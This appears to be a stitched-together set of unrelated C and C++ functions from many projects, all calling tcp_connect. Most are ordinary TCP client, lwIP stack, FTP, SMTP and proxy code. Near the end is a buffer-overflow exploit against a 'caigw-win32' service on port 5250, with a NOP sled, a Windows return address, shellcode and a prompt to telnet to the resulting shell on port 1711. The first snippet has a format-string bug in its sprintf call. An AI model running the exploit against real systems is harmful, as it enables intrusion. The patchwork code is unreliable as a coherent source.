int main(int argc, char **argv){
int fd;
int bytes_sent, bytes_recv;
int len;
char buffer[BUF_SIZE];
char *msg;
char *longbuf;
if(argc != 3)
die0("usage: ./client <destination_hostname> <remote_port>");
// connect
fd = tcp_connect(argv[1], atoi(argv[2]));
// compose msg to be sent
msg = (char *)malloc(MAX_CHARS * sizeof(char));
strcpy(msg, "GET /index.html HTTP/1.0\nHost: ");
strcat(msg, argv[1]);
strcat(msg, "\r\n\r\n"); // ends in CRLF
len = strlen(msg);
if((bytes_sent = send(fd, msg, len, 0)) < 0){
free(msg);
die0("send error\n");
}
printf("sent:\n %s\n", msg);
// receive into longbuf
longbuf = (char *)malloc(SQR(MAX_CHARS) * sizeof(char));
int index = 0;
do{
if((bytes_recv = recv(fd, buffer, sizeof(buffer), 0)) < 0){
free(msg);
free(longbuf);
die0("recv error\n");
}
sprintf((char *)&longbuf[index], buffer);
index += bytes_recv;
}while(bytes_recv != 0 && strlen(longbuf) < SQR(MAX_CHARS));
printf("received:\n %s\n", longbuf);
close(fd);
free(msg);
free(longbuf);
return 0;
}
/******************************************************************************
**函数名称: mon_srch_connect
**功 能: 测试代理服务处理大并发连接的能力
**输入参数:
** menu: 菜单
**输出参数: NONE
**返 回: 连接代理服务
**实现描述:
**注意事项:
**作 者: # Qifeng.zou # 2014.12.27 #
******************************************************************************/
static int mon_srch_connect(menu_cntx_t *menu_ctx, menu_item_t *menu, void *args)
{
char digit[256];
int idx, num, max;
int *fd;
mon_cntx_t *ctx = (mon_cntx_t *)args;
/* > 输入最大连接数 */
fprintf(stderr, " Max connections: ");
scanf(" %s", digit);
max = atoi(digit);
fd = (int *)calloc(1, max*sizeof(int));
/* > 连接代理服务 */
num = 0;
for (idx=0; idx<max; ++idx) {
fd[idx] = tcp_connect(AF_INET, ctx->conf->search.ip, ctx->conf->search.port);
if (fd[idx] < 0) {
fprintf(stderr, " errmsg:[%d] %s!\n", errno, strerror(errno));
break;
}
fprintf(stdout, " Connect success! idx:%d fd:%d\n", idx, fd[idx]);
++num;
}
#if 1
/* 发送搜索数据 */
for (idx=0; idx<num; ++idx) {
mon_srch_send_rep(fd[idx], "爱我中华");
}
#endif
if (num <= 0) {
return 0;
}
Sleep(5);
/* 关闭网络连接 */
for (idx=0; idx<num; ++idx) {
CLOSE(fd[idx]);
}
FREE(fd);
return 0;
}
DWORD initialize_deliver( struct audit_profile *audit )
{
if((audit->connected_sock = tcp_connect(audit->host, audit->port)) == -1)
{
if(NETIO_DEBUG)
fprintf(stderr,
"[%08X] Error: Failed to make TCP connection to remote service\n"
,audit->connected_sock);
return(-1);
}
return(0);
}
int tcp_client_start(char* ip, u_short port, char* send_buf = NULL)
{
SOCKET sock;
if(send_buf == NULL)
{
send_buf = (char*)malloc(64);
memset(send_buf, 'T', 64);
}
socket_init();
tcp_socket(&sock);
tcp_connect(&sock, ip, port);
tcp_send(&sock, send_buf, 64);
return 0;
}
/* connect remote SMTP server */
static void
smtp_connect(smtp_t * smtp)
{
enum connect_result status;
if ((smtp->fd = socket(global_data->smtp_server.ss_family, SOCK_STREAM, IPPROTO_TCP)) == -1) {
DBG("SMTP connect fail to create socket.");
free_smtp_all(smtp);
return;
}
status = tcp_connect(smtp->fd, &global_data->smtp_server);
/* Handle connection status code */
thread_add_event(master, SMTP_FSM[status].send, smtp, smtp->fd);
}
int EthernetClient::connect(IPAddress ip, uint16_t port, unsigned long timeout) {
ip_addr_t dest;
dest.addr = ip;
cs->cpcb = tcp_new();
cs->read = 0;
cs->p = NULL;
if (cs->cpcb == NULL) {
return false;
}
tcp_arg((tcp_pcb*)cs->cpcb, this);
tcp_recv((tcp_pcb*)cs->cpcb, do_recv);
tcp_err((tcp_pcb*)cs->cpcb, do_err);
uint8_t val = tcp_connect((tcp_pcb *)cs->cpcb, &dest, port, do_connected);
if (val != ERR_OK) {
return false;
}
/* Wait for the connection.
* Abort if the connection does not succeed within the prescribed timeout */
unsigned long then = millis();
while (!_connected) {
unsigned long now = millis();
delay(10);
if (now - then > timeout) {
tcp_close((tcp_pcb*)cs->cpcb);
cs->cpcb = NULL;
return false;
}
}
if (cs->cpcb->state != ESTABLISHED) {
_connected = false;
tcp_close((tcp_pcb*)cs->cpcb);
cs->cpcb = NULL;
return false;
}
/* Poll to determine if the peer is still alive */
tcp_poll((tcp_pcb*)cs->cpcb, do_poll, 10);
return _connected;
}
int http_download_photo(char *path, char *email)
{
struct connection *conn;
struct connect_options conn_opts = {0};
int error_code;
int rc;
if (!open_socket_lib()) return 0;
rc = 0;
if ((conn = tcp_connect("simplemail.sourceforge.net", 80, &conn_opts, &error_code)))
{
char *line;
int download = 0;
tcp_write(conn,"GET /gallery_get_image.php?",sizeof("GET /gallery_get_image.php?")-1);
tcp_write(conn,email,strlen(email));
tcp_write(conn," HTTP/1.0\r\nhost: simplemail.sourceforge.net\r\n\r\n",sizeof(" HTTP/1.0\r\nhost: simplemail.sourceforge.net\r\n\r\n")-1);
while ((line = tcp_readln(conn)))
{
if (!mystrnicmp("Content-Type: image/",line,20)) download = 1;
if (line[0] == 10 && line[1] == 0) break;
}
if (download)
{
FILE *fp = fopen(path,"wb");
if (fp)
{
int got;
char buf[1024];
while ((got = tcp_read(conn,buf,1024))>0)
{
fwrite(buf,1,got,fp);
}
rc = 1;
fclose(fp);
}
}
tcp_disconnect(conn);
}
close_socket_lib();
return rc;
}
void on_accept(tcp_client *client) {
conn_peer *cpeer = (conn_peer*)ohmalloc(sizeof(conn_peer));
tcp_client *rclient = (tcp_client*)ohmalloc(sizeof(tcp_client));
tcp_client_init(rclient, &serv_addr, client->loop_on, 0, NULL, 0);
tcp_connection_set_on_connect(rclient, on_connect);
tcp_connection_set_on_close(rclient, on_close);
tcp_connection_set_on_read(rclient, on_read);
tcp_connect(rclient);
client->data = (void*)cpeer;
rclient->data = (void*)cpeer;
cpeer->conn[0] = client;
cpeer->conn[1] = rclient;
cpeer->status[0] = ON;
cpeer->status[1] = OFF;
}
static void client ()
{
sock_data_t self;
char buffer[BUFLEN];
int e;
sock_data_init(&self, "127.0.0.1", 9000);
if (tcp_connect(&self, &e)) {
strerror_r(e, buffer, BUFLEN);
fprintf(stderr, "Connecting to server: %s\n", buffer);
return;
}
write(self.fd, "hello world", strlen("hello world"));
close(self.fd);
}
int
tcp_connect_thread(thread_t * thread)
{
SOCK *sock_obj = THREAD_ARG(thread);
if ((sock_obj->fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
DBG("WEB connection fail to create socket.\n");
return 0;
}
sock->status = tcp_connect(sock_obj->fd, req->addr_ip, req->addr_port);
/* handle tcp connection status & register check worker thread */
tcp_connection_state(sock_obj->fd, sock_obj->status, thread, tcp_check_thread,
HTTP_CNX_TIMEOUT);
return 0;
}
/* Open a data connection. Only Passive mode supported yet, easier.. */
int ftp_data( ftp_t *conn )
{
int i, info[6];
char host[MAX_STRING];
/* Already done? */
if( conn->data_fd > 0 )
return( 0 );
/* if( conn->ftp_mode == FTP_PASSIVE )
{
*/ ftp_command( conn, "PASV" );
if( ftp_wait( conn ) / 100 != 2 )
return( 0 );
*host = 0;
for( i = 0; conn->message[i]; i ++ )
{
if( sscanf( &conn->message[i], "%i,%i,%i,%i,%i,%i",
&info[0], &info[1], &info[2], &info[3],
&info[4], &info[5] ) == 6 )
{
sprintf( host, "%i.%i.%i.%i",
info[0], info[1], info[2], info[3] );
break;
}
}
if( !*host )
{
sprintf( conn->message, _("Error opening passive data connection.\n") );
return( 0 );
}
if( ( conn->data_fd = tcp_connect( host,
info[4] * 256 + info[5], conn->local_if ) ) == -1 )
{
sprintf( conn->message, _("Error opening passive data connection.\n") );
return( 0 );
}
return( 1 );
/* }
else
{
sprintf( conn->message, _("Active FTP not implemented yet.\n" ) );
return( 0 );
} */
}
/*-----------------------------------------------------------------------------------*/
static void
connect(void)
{
uip_ipaddr_t addr, *addrptr;
uint16_t port;
char *cptr;
struct uip_conn *conn;
/* Find the first space character in host and put a zero there
to end the string. */
for(cptr = telnethost; *cptr != ' ' && *cptr != 0; ++cptr);
*cptr = 0;
addrptr = &addr;
#if UIP_UDP
if(uiplib_ipaddrconv(telnethost, &addr) == 0) {
addrptr = resolv_lookup(telnethost);
if(addrptr == NULL) {
resolv_query(telnethost);
show("Resolving host...");
return;
}
}
#else /* UIP_UDP */
uiplib_ipaddrconv(telnethost, &addr);
#endif /* UIP_UDP */
port = 0;
for(cptr = telnetport; *cptr != ' ' && *cptr != 0; ++cptr) {
if(*cptr < '0' || *cptr > '9') {
show("Port number error");
return;
}
port = 10 * port + *cptr - '0';
}
conn = tcp_connect(addrptr, uip_htons(port), &ts_appstate);
if(conn == NULL) {
show("Out of memory error");
return;
}
show("Connecting...");
}
/*
* Given a host and timeout, probe the IMAP server. The port is not
* configurable. The host defaults to localhost. This closes down the IMAP
* connection nicely rather than just closing the connection.
*/
static int
probe_imap(const char *host, int timeout)
{
socket_type sd;
int retval = 0;
sd = tcp_connect(host ? host : "localhost", "imap", 143);
if (sd == INVALID_SOCKET)
return -1;
else {
retval = lbcd_check_reply(sd, timeout, "* OK");
/* Only for clean shutdown, don't care about failure. */
if (socket_write(sd, "tag logout\r\n", 12) < 0) {}
socket_close(sd);
}
return retval;
}
int PubSub_mbed::connect(char *id) {
err_t err= tcp_connect(this->pcb, &server, 1883, tcp_fun);
if(err != ERR_OK) {
printf("Connection Error : %d\r\n",err);
return -1;
} else {
//printf("Connection sucessed..\r\n");
}
wait(1);
tcp_accept(this->pcb, tcp_fun);
device_poll();
// variable header
uint8_t var_header[] = {0x00,0x06,0x4d,0x51,0x49,0x73,0x64,0x70,0x03,0x02,0x00,KEEPALIVE/500,0x00,strlen(id)};
// fixed header: 2 bytes, big endian
uint8_t fixed_header[] = {MQTTCONNECT,12+strlen(id)+2};
char packet[sizeof(fixed_header)+sizeof(var_header)+strlen(id)];
memset(packet,0,sizeof(packet));
memcpy(packet,fixed_header,sizeof(fixed_header));
memcpy(packet+sizeof(fixed_header),var_header,sizeof(var_header));
memcpy(packet+sizeof(fixed_header)+sizeof(var_header),id,strlen(id));
//Send MQTT identification message to broker.
err = tcp_write(this->pcb, (void *)packet, sizeof(packet), 1);
if (err == ERR_OK) {
tcp_output(this->pcb);
//printf("Identificaiton message sended correctlly...\r\n");
return 1;
} else {
printf("Failed to send the identification message to broker...\r\n");
printf("Error is: %d\r\n",err);
tcp_close(this->pcb);
return -2;
}
printf("\r\n");
device_poll();
return 1;
}
/**
* connect - the function will connect loacl socket to target IP device
*
* @param sockfd the handle of the socket
* @param addr structure filled of target ip address and port
* @param addrlen the length of the target addr structure
*
* @return the result
*/
int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen)
{
struct socket *socket = (struct socket *)sockfd;
int ret = -1;
if (SOCK_STREAM == socket->type)
{
ret = tcp_connect(socket->pcb, (struct ip_addr *)&addr->sin_addr, addr->sin_port, NULL);
}
else if (SOCK_PACKET == socket->type)
{
ret = udp_connect(socket->pcb, (struct ip_addr *)&addr->sin_addr, addr->sin_port);
udp_recv(socket->pcb, socket_udp_recv, socket);
}
return ret;
}
/**
* Connect a pcb contained inside a netconn
* Called from netconn_connect.
*
* @param msg the api_msg_msg pointing to the connection and containing
* the IP address and port to connect to
*/
void
do_connect(struct api_msg_msg *msg)
{
if (msg->conn->pcb.tcp == NULL) {
sys_sem_signal(msg->conn->op_completed);
return;
}
switch (NETCONNTYPE_GROUP(msg->conn->type)) {
#if LWIP_RAW
case NETCONN_RAW:
msg->conn->err = raw_connect(msg->conn->pcb.raw, msg->msg.bc.ipaddr);
sys_sem_signal(msg->conn->op_completed);
break;
#endif /* LWIP_RAW */
#if LWIP_UDP
case NETCONN_UDP:
msg->conn->err = udp_connect(msg->conn->pcb.udp, msg->msg.bc.ipaddr, msg->msg.bc.port);
sys_sem_signal(msg->conn->op_completed);
break;
#endif /* LWIP_UDP */
#if LWIP_TCP
case NETCONN_TCP:
msg->conn->state = NETCONN_CONNECT;
setup_tcp(msg->conn);
msg->conn->err = tcp_connect(msg->conn->pcb.tcp, msg->msg.bc.ipaddr, msg->msg.bc.port,
do_connected);
// [MS_CHANGE] - Make the connect be asynchronous by returning ERR_INPROGRESS
// and signalling operation complete.
if(msg->conn->err == ERR_OK)
{
msg->conn->err = ERR_INPROGRESS;
}
sys_sem_signal(msg->conn->op_completed);
/* sys_sem_signal() is called from do_connected (or err_tcp()),
* when the connection is established! */
break;
#endif /* LWIP_TCP */
default:
LWIP_ERROR("Invalid netconn type", 0, do{ msg->conn->err = ERR_VAL;
sys_sem_signal(msg->conn->op_completed); }while(0));
break;
}
}
int ClientBenchmarkConnections(WOLFSSL_CTX* ctx, char* host, word16 port,
int doDTLS, int benchmark, int resumeSession)
{
/* time passed in number of connects give average */
int times = benchmark;
int loops = resumeSession ? 2 : 1;
int i = 0;
WOLFSSL_SESSION* benchSession = NULL;
while (loops--) {
int benchResume = resumeSession && loops == 0;
double start = current_time(), avg;
for (i = 0; i < times; i++) {
SOCKET_T sockfd;
WOLFSSL* ssl = wolfSSL_new(ctx);
if (ssl == NULL)
err_sys("unable to get SSL object");
tcp_connect(&sockfd, host, port, doDTLS, ssl);
if (benchResume)
wolfSSL_set_session(ssl, benchSession);
wolfSSL_set_fd(ssl, sockfd);
if (wolfSSL_connect(ssl) != SSL_SUCCESS)
err_sys("SSL_connect failed");
wolfSSL_shutdown(ssl);
if (i == (times-1) && resumeSession) {
benchSession = wolfSSL_get_session(ssl);
}
wolfSSL_free(ssl);
CloseSocket(sockfd);
}
avg = current_time() - start;
avg /= times;
avg *= 1000; /* milliseconds */
if (benchResume)
printf("wolfSSL_resume avg took: %8.3f milliseconds\n", avg);
else
printf("wolfSSL_connect avg took: %8.3f milliseconds\n", avg);
}
return EXIT_SUCCESS;
}
/** Start TCP connection back to the client (either parallel or after the
* receive test has finished.
*/
static err_t
lwiperf_tx_start(lwiperf_state_tcp_t* conn)
{
err_t err;
lwiperf_state_tcp_t* client_conn;
struct tcp_pcb* newpcb;
ip_addr_t remote_addr;
u16_t remote_port;
client_conn = (lwiperf_state_tcp_t*)LWIPERF_ALLOC(lwiperf_state_tcp_t);
if (client_conn == NULL) {
return ERR_MEM;
}
newpcb = tcp_new();
if (newpcb == NULL) {
LWIPERF_FREE(lwiperf_state_tcp_t, client_conn);
return ERR_MEM;
}
memcpy(client_conn, conn, sizeof(lwiperf_state_tcp_t));
client_conn->base.server = 0;
client_conn->server_pcb = NULL;
client_conn->conn_pcb = newpcb;
client_conn->time_started = sys_now(); /* TODO: set this again on 'connected' */
client_conn->poll_count = 0;
client_conn->next_num = 4; /* initial nr is '4' since the header has 24 byte */
client_conn->bytes_transferred = 0;
client_conn->settings.flags = 0; /* prevent the remote side starting back as client again */
tcp_arg(newpcb, client_conn);
tcp_sent(newpcb, lwiperf_tcp_client_sent);
tcp_poll(newpcb, lwiperf_tcp_poll, 2U);
tcp_err(newpcb, lwiperf_tcp_err);
ip_addr_copy(remote_addr, conn->conn_pcb->remote_ip);
remote_port = (u16_t)htonl(client_conn->settings.remote_port);
err = tcp_connect(newpcb, &remote_addr, remote_port, lwiperf_tcp_client_connected);
if (err != ERR_OK) {
lwiperf_tcp_close(client_conn, LWIPERF_TCP_ABORTED_LOCAL);
return err;
}
lwiperf_list_add(&client_conn->base);
return ERR_OK;
}
static int gather_relay2(struct candidate *cand, int turn_proto)
{
struct ice_lcand *base = cand->base;
int err;
switch (turn_proto) {
case IPPROTO_UDP:
/* the TURN-client must be created using the UDP-socket
* of the base candidate
*/
err = turnc_alloc(&cand->turnc, NULL, turn_proto,
base->us, LAYER_TURN, &cand->turn_srv,
cand->ag->cli->param.username,
cand->ag->cli->param.password,
TURN_DEFAULT_LIFETIME, turnc_handler, cand);
if (err) {
re_printf("turn client: %m\n", err);
}
break;
case IPPROTO_TCP:
re_printf("TURN-TCP -- connecting to %J ..\n",
&cand->turn_srv);
/* NOTE: we are connecting _from_ an ephemeral port,
* since we might have Zero TCP-candidates
*/
err = tcp_connect(&cand->tc, &cand->turn_srv,
tcp_estab_handler, tcp_recv_handler,
tcp_close_handler, cand);
if (err) {
re_printf("tcp_connect error (%m)\n", err);
return err;
}
break;
default:
return EPROTONOSUPPORT;
}
return 0;
}
// ---------------------------------------------------------------------------
// Enviar mensaje por puerto TCP con informacion de CliTcp
//
UINT8 TCP_SendCliTcpBuff(UINT8 * Buff, UINT16 BufLen)
{
UINT16 i;
UINT16 len;
UINT8 TimerGetStateId;
// CliTcpIpChar[0] = 192;
// CliTcpIpChar[1] = 168;
// CliTcpIpChar[2] = 0;
// CliTcpIpChar[3] = 32;
if (tcp_getstate(TcpCliTcpSoch) != TCP_STATE_CONNECTED){
if ( tcp_connect (TcpCliTcpSoch, CliTcpIp, (UINT16)(CliTcpSockPort), 0 ) == (-1)){ // (UINT16)(DNP_LOCAL_PORT)
return 0x01;
}
}
if (tcp_checksend(TcpCliTcpSoch) < 0)
{
TcpWhileFlag = 0x01;
TimerGetStateId = TMR_SetTimer ( TCP_WAITFORSEND_TOUT , OS_NOT_PROC, TCP_StopWhileProc, FALSE);
while (tcp_checksend(TcpCliTcpSoch) < 0)
{
if (!TcpWhileFlag) return 0x01; // Cuando vence el timer se resetea TcpWhileFlag
}
TMR_FreeTimer ( TimerGetStateId );
}
len = 0;
for( i=0 ; i < BufLen ; i++ ){
net_buf[TCP_APP_OFFSET+len] = *Buff;
Buff++;
len++;
}
if(tcp_send(TcpCliTcpSoch, &net_buf[TCP_APP_OFFSET], NETWORK_TX_BUFFER_SIZE - TCP_APP_OFFSET, len) == len) {
DEBUGOUT("TCP: bytes reply sent!\r\n");
}
else {
DEBUGOUT("TCP: error occured while trying to send data!\r\n");
}
return 0x00;
}
int nego_tcp_connect(NEGO *nego)
{
if (nego->tcp_connected == 0)
{
if (tcp_connect(nego->iso->tcp, nego->hostname, nego->port) == False)
{
nego->tcp_connected = 0;
return 0;
}
else
{
nego->tcp_connected = 1;
return 1;
}
}
return 1;
}
static socket_error_t lwipv4_socket_connect(struct socket *sock, const struct socket_addr *address, const uint16_t port)
{
err_t err = ERR_OK;
if (!socket_addr_is_ipv4(address)) {
return SOCKET_ERROR_BAD_ADDRESS;
}
switch (sock->family){
case SOCKET_DGRAM:
err = udp_connect((struct udp_pcb *)sock->impl, (void*)socket_addr_get_ipv4_addrp(address), port);
break;
case SOCKET_STREAM:
err = tcp_connect((struct tcp_pcb *)sock->impl, (void*)socket_addr_get_ipv4_addrp(address), port, irqConnect);
break;
default:
return SOCKET_ERROR_BAD_FAMILY;
}
return lwipv4_socket_error_remap(err);
}
// we must reconnect if the login list isnt completed...
int telnet_disconnect(Modules *mptr, Connection *cptr, char *buf, int size) {
CustomState *Cstate = CustomState_Ptr(cptr);
Connection *conn = cptr;
// close current fd..
close(cptr->fd);
cptr->fd = 0;
// now attempt to reuse the Connection structure (so we keep our state with usernames/passwords)
if (Cstate->complete || tcp_connect(mptr, cptr->list, cptr->addr, cptr->port, &conn) == NULL) {
// returning 0 means it will get removed (since its during disconnect)
//ConnectionBad(cptr);
return 0;
}
// returning 1 saves the structure from being removed
return 1;
}
static double
get_tcp_bw(struct sockaddr_in *addr, const int count)
{
double diff;
struct timeval t1, t2;
gettimeofday(&t1, NULL);
tcp_connect(addr, count);
gettimeofday(&t2, NULL);
diff = sub_timeval(&t1, &t2);
printf("diff time %f\n", diff);
diff = ((double)count)/(diff*BUFSIZE);
printf("bw %f MB\n", diff);
return diff;
}
static void tcp_connect_cb(void *ctx_p)
{
struct socket_t *socket_p = ctx_p;
const struct inet_addr_t *remote_addr_p;
ip_addr_t ip;
remote_addr_p = socket_p->input.cb.args_p;
inet_ip_to_lwip_ip(&ip, &remote_addr_p->ip);
socket_p->output.cb.state = STATE_CONNECT;
if (tcp_connect(socket_p->pcb_p,
&ip,
remote_addr_p->port,
on_tcp_connected) != ERR_OK) {
socket_p->output.cb.state = STATE_IDLE;
resume_thrd(socket_p->input.cb.thrd_p, -1);
}
}
static void show_exported_devices(char *host)
{
int ret;
SOCKET sockfd;
sockfd = tcp_connect(host, USBIP_PORT_STRING);
if (INVALID_SOCKET == sockfd){
info("- %s failed", host);
return;
}
info("- %s", host);
ret = query_exported_devices(sockfd);
if (ret < 0) {
err("query");
}
closesocket(sockfd);
}
/*
* Initiate connection to peer.
* Create a template for use in transmissions on this connection.
* Enter SYN_SENT state, and mark socket as connecting.
* Start keep-alive timer, and seed output sequence space.
* Send initial segment on connection.
*/
static void
tcp_usr_connect(netmsg_t msg)
{
struct socket *so = msg->connect.base.nm_so;
struct sockaddr *nam = msg->connect.nm_nam;
struct thread *td = msg->connect.nm_td;
int error = 0;
struct inpcb *inp;
struct tcpcb *tp;
struct sockaddr_in *sinp;
COMMON_START(so, inp, 0);
/*
* Must disallow TCP ``connections'' to multicast addresses.
*/
sinp = (struct sockaddr_in *)nam;
if (sinp->sin_family == AF_INET
&& IN_MULTICAST(ntohl(sinp->sin_addr.s_addr))) {
error = EAFNOSUPPORT;
goto out;
}
if (!prison_remote_ip(td, (struct sockaddr*)sinp)) {
error = EAFNOSUPPORT; /* IPv6 only jail */
goto out;
}
tcp_connect(msg);
/* msg is invalid now */
return;
out:
if (msg->connect.nm_m) {
m_freem(msg->connect.nm_m);
msg->connect.nm_m = NULL;
}
if (msg->connect.nm_flags & PRUC_HELDTD)
lwkt_rele(td);
if (error && (msg->connect.nm_flags & PRUC_ASYNC)) {
so->so_error = error;
soisdisconnected(so);
}
lwkt_replymsg(&msg->lmsg, error);
}
int main(int argc, char *argv[])
{
char buffer[1024];
int s;
int listener;
struct sockaddr_in addr;
int port;
size_t len;
memset(buffer, 0, 1024);
winsock_initialize();
s = tcp_connect("www.google.ca", 80);
if(s < 0)
DIE("Fail");
tcp_send(s, "GET / HTTP/1.0\r\nHost: www.google.com\r\n\r\n", 41);
tcp_recv(s, buffer, 1024);
tcp_close(s);
printf("%s\n", buffer);
printf("Listening on TCP/6666\n");
listener = tcp_listen("0.0.0.0", 6666);
s = tcp_accept(listener, &addr, &port);
if(s < 0)
DIE("Fail");
printf("Connection accepted from %s:%d\n", inet_ntoa(addr.sin_addr), ntohs(addr.sin_port));
memset(buffer, 0, 1024);
strcpy(buffer, "HELLO!");
len = 7;
while(len > 0 && tcp_send(s, buffer, len) >= 0)
{
memset(buffer, 0, 1024);
len = tcp_recv(s, buffer, 1024);
printf("Received: %s [%d]\n", buffer, len);
}
printf("%s\n", buffer);
return 1;
}
/*Just supply a target ./caigw-win32 hostname */
int main(int argc, char *argv[])
{
char buffer[MAXSIZE+1];
int i = 0;
int sclen = sizeof(sc), sock = 0;
if(!argv[1])
return 0;
memset(buffer,'\x90',MAXSIZE/2);
memcpy(buffer,"GET",3);
for(i=3;i<24;i++)
memcpy(buffer+i," ",1);
for(i=21;i<423;i++)
buffer[i] = 'A';
/* XP SP2*/
//memcpy(buffer + 423+25,"\xdd\x10\x12\x12",4);
/*W2ksp4 */
memcpy(buffer + 422+25,"\xdd\x10\x12\x12",4);
memcpy(buffer + 460,sc,sclen - 1);
memcpy(buffer + (460 + sclen)," HTTP/1.0\r\n\r\n\r\n",16);
buffer[460+sclen+20] = '\0';
if( (sock = tcp_connect(argv[1],5250)) != -1 )
{
int bytes = 0;
printf("[~] Sending request... \n");
bytes = send(sock,buffer,strlen(buffer),0);
printf("[!] Sent [%d] bytes\n",bytes);
}
else
return -1;
close(sock);
sleep (2);
printf("[@] Now telnet to port 1711\n");
return 0;
}
int
main(int argc, char **argv)
{
int sock;
struct config_t config;
struct buffer_t buffer;
/* initialize buffer */
buffer_init(&buffer);
/* parse arguments and config file */
if (setup(&config, argc, argv) != SETUP_OK) {
usage(stderr);
return EX_USAGE;
}
/* ask password if none was given, but username is set */
if (config.username && !config.password) {
config.password = askpass_tty(PASSWORD_PROMPT);
/* exit if unable to get password */
if (!config.password)
return EX_NOINPUT;
}
/* connect to proxy */
if ((sock = tcp_connect(config.proxyname, config.proxyport)) == -1)
return EX_UNAVAILABLE;
/* tunnel setup */
if (proxy_connect(sock, &buffer, config.hostname, config.hostport,
config.username, config.password) != 0)
{
close(sock);
return EX_UNAVAILABLE;
}
/* tunnel data (does not return on failure) */
tunnel_handler(&buffer, config.ifd, config.ofd, sock, sock);
/* cleanup */
close(sock);
return EX_OK;
}
